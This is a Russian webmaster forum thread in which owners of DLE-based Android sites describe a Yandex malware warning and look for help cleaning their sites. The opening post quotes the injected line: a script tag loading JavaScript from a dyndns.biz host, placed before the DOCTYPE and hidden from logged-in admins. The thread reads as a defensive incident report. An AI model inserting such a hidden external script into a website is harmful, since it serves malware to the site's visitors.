X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Вирус на DLE(сайты андроид тематики)
predator-hoi
predator-hoi
Topic Starter сообщение 4.1.2013, 1:42; Ответить: predator-hoi
Сообщение #1


Завсегдатай
*****


Группа: Active User
Сообщений: 591
Регистрация: 30.8.2009
Поблагодарили: 87 раз
Репутация:   8  


Доброго времени суток!
Недавно яша пометил пару сайтов андроид тематики вот так - «Этот сайт может угрожать безопасности вашего компьютера»
Написал платонам они ответили вот что:
Здравствуйте!

При проверке Вашего сайта антивирусный комплекс Яндекса обнаружил вредоносный код следующего содержания:

<script src="http://define-variable.dyndns.biz/live255.php" type="text/javascript"></script>


Начал искать вручную так нечего и не нашел, написал опять яшке, вот что они ответили во втором письме:
Здравствуйте!

Страницы указаны в разделе Безопасность в Яндекс.Вебмастере. Код я приводил в прошлом письме, он находится в самом начале страницы, перед строкой

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


В итоге я заразу нашел, просто когда ты залогинен на сайте ее не видно, а когда разлогинен она есть в самом начале первая строка:

<script src="http://define-variable.dyndns.biz/live255.php" type="text/javascript"></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

Все блоки на сайте ужасно поехали. Смотрел выдачу по своим ключам, очень много сайтов с такой же пометкой.
Кто сталкивался с подобной проблемой, куда копать, как лечить пациента?


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seomasters
seomasters
сообщение 4.1.2013, 1:50; Ответить: seomasters
Сообщение #2


клоновод
*****

Группа: Banned
Сообщений: 701
Регистрация: 22.9.2011
Из: Россия, Крым
Поблагодарили: 245 раз
Репутация:   62  


Готов вылечить если интересно пишите в ЛС урл версию DLE и если решительно настроены вылечить сайт то доступы к сайту.


--------------------
клоновод
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
predator-hoi
predator-hoi
Topic Starter сообщение 4.1.2013, 1:57; Ответить: predator-hoi
Сообщение #3


Завсегдатай
*****


Группа: Active User
Сообщений: 591
Регистрация: 30.8.2009
Поблагодарили: 87 раз
Репутация:   8  


seomasters, стоимость, подобное уже лечили?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seomasters
seomasters
сообщение 4.1.2013, 2:03; Ответить: seomasters
Сообщение #4


клоновод
*****

Группа: Banned
Сообщений: 701
Регистрация: 22.9.2011
Из: Россия, Крым
Поблагодарили: 245 раз
Репутация:   62  


predator-hoi,

всё в ЛС


--------------------
клоновод


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
predator-hoi
predator-hoi
Topic Starter сообщение 4.1.2013, 13:46; Ответить: predator-hoi
Сообщение #5


Завсегдатай
*****


Группа: Active User
Сообщений: 591
Регистрация: 30.8.2009
Поблагодарили: 87 раз
Репутация:   8  


seomasters, спасибо большое за проделанную работу!


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
renesans
renesans
сообщение 4.1.2013, 18:06; Ответить: renesans
Сообщение #6


Участник
***

Группа: User
Сообщений: 113
Регистрация: 29.7.2008
Поблагодарили: 19 раз
Репутация:   6  


тоже вчера был такой же код на сайте. Скрипт подставляли через модуль referer


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Maks_Viper
Maks_Viper
сообщение 8.1.2013, 13:20; Ответить: Maks_Viper
Сообщение #7


Новичок
*

Группа: Viewer
Сообщений: 10
Регистрация: 7.1.2013
Поблагодарили: 0 раз
Репутация:   -1  


Ламают доступ к сайту и втихаря дописывают линк на свой "скриптец", который отрабатывает потом после загрузки?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 14.1.2013, 15:07; Ответить: kagtus
Сообщение #8


Бывалый
****

Группа: User
Сообщений: 416
Регистрация: 11.10.2012
Из: Kostroma
Поблагодарили: 94 раза
Репутация:   21  


а если модуля referer нет, но срабатывает также, где поискать?


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 14.1.2013, 15:22; Ответить: Rampage
Сообщение #9


Участник
***

Группа: User
Сообщений: 239
Регистрация: 20.11.2010
Из: localhost
Поблагодарили: 67 раз
Репутация:   23  


кого интересует стучите помогу бесплатно)


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
semion
semion
сообщение 23.2.2013, 23:33; Ответить: semion
Сообщение #10


Новичок
*

Группа: Viewer
Сообщений: 1
Регистрация: 23.2.2013
Поблагодарили: 0 раз
Репутация:   0  


seomasters,

У меня проблемы с 2 сайтами dle, некоторое время назад на них был замечен вирус .dyndns.biz/live255.php так я его и не нашел. При этом сайты были доступны. Теперь сайты доступны только админу, пользователям сайт не загружается.
Вот что написали мне в суппорте хостинга:
" Вероятнее всего у Вас какой либо из скриптов пытается подключится к другому серверу, который на данный момент недоступен."
Можно их вылечить?
(сообщения в лс покамест не могу писать)



скайп simon-wm

Сообщение отредактировал semion - 23.2.2013, 23:33
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Регистрация Вашего сайта (профиля,DLE сайты,подписи на форумах,постинг Тиц 10> , ПР 1>)
278 kaartes 102598 Сегодня, 10:55
автор: kukla
Открытая тема (нет новых ответов) Адаптивная вёрстка и натяжка на Wordpress, DLE, Joomla и др. Создание мобильных версий.
Хороший код с оптимизацией по скорости. Сайты и лендинги "под ключ
15 Nell 1123 Вчера, 23:36
автор: Nell
Открытая тема (нет новых ответов) Размещу статьи с ссылками на азарт, адалт, БАДы и прочие серые тематики на 130-ти сайтах с тиц до 8400
Регулярные акции и скидки!
15 batya 3389 12.12.2017, 13:41
автор: batya
Открытая тема (нет новых ответов) Требуется почистить сайты от вирусов
6 Mukis 345 10.12.2017, 15:40
автор: qpPeW
Открытая тема (нет новых ответов) Продам сайты в ГГЛ + мира + ротапост
тиц 10-40
22 xline 2486 10.12.2017, 12:55
автор: genjnat


 



RSS Текстовая версия Сейчас: 14.12.2017, 14:38
Дизайн